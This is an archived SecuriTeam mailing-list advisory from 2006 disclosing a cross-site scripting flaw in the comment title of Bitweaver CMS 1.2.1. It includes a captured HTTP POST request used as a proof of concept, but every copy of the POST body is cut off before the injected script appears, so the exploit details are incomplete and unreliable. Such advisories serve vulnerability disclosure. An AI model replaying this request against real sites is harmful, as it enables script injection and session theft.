

[UNIX] Bitweaver CMS User Comment Title XSS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00008.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 6 Mar 2006 13:04:54 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Bitweaver CMS User Comment Title XSS

SUMMARY

"bitweaver is an application framework for content management. "

Improper user input handling in Bitweaver CMS allows attackers to exploit a Cross Site Scripting.

DETAILS

Vulnerable Systems:

- * Bitweaver CMS version 1.2.1

Bitweaver contains a flaw that allows a cross site scripting attack.
The vulnerability is found in the title of the registered user comment page and the user can modify the function POST and insert the XSS code

– HTTP POST request –

[http://\[target\]/\[patch\]/read.php?article_id=7#editcomments](http://[target]/[patch]/read.php?article_id=7#editcomments)

POST /articles/read.php?article_id=7 HTTP/1.1

Host: [http://\[target\]](http://[target])

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12)

[UNIX] Bitweaver CMS User Comment Title XSS

Gecko/20050919 Firefox/1.0.7

Accept:

text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5

Accept-Language: it,it-it;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: [http://\[target\]/articles/read.php?article_id=7](http://[target]/articles/read.php?article_id=7)

Cookie: mod_usertrack=82.56.164.250.1141558144377994;

BWSESSION=v5a6krvki42h0puv48dc5coki0; tz_offset=3600;

tiki-user-bitweaver=616706c4d6f7bdf68b30893f860cbb2b

Content-Type: application/x-www-form-urlencoded

Content-Length: 265

tk=c67481b438f7be3da147&comments_maxComments=10&comments_style=threaded&comments_sort_mode=comr

The modified code can be as follows:

tk=c67481b438f7be3da147&comments_maxComments=10&comments_style=threaded&comments_sort_mode=comr

Proof of Concept:

For this exploit you must be registred at the site.

For using the parameters bellow, attackers should change some of the given parameters for his/her user on the cms:

tk=c67481b438f7be3da147&comments_maxComments=10&comments_style=threaded&comments_sort_mode=comr

ADDITIONAL INFORMATION

The information has been provided by <<mailto:federico.sana@xxxxxxxxx>>

Kiki.

The original article can be found at:

<http://kiki91.altervista.org/exploit/bitweaver_1.2.1_XSS.txt>

http://kiki91.altervista.org/exploit/bitweaver_1.2.1_XSS.txt

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

[UNIX] Bitweaver CMS User Comment Title XSS

The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.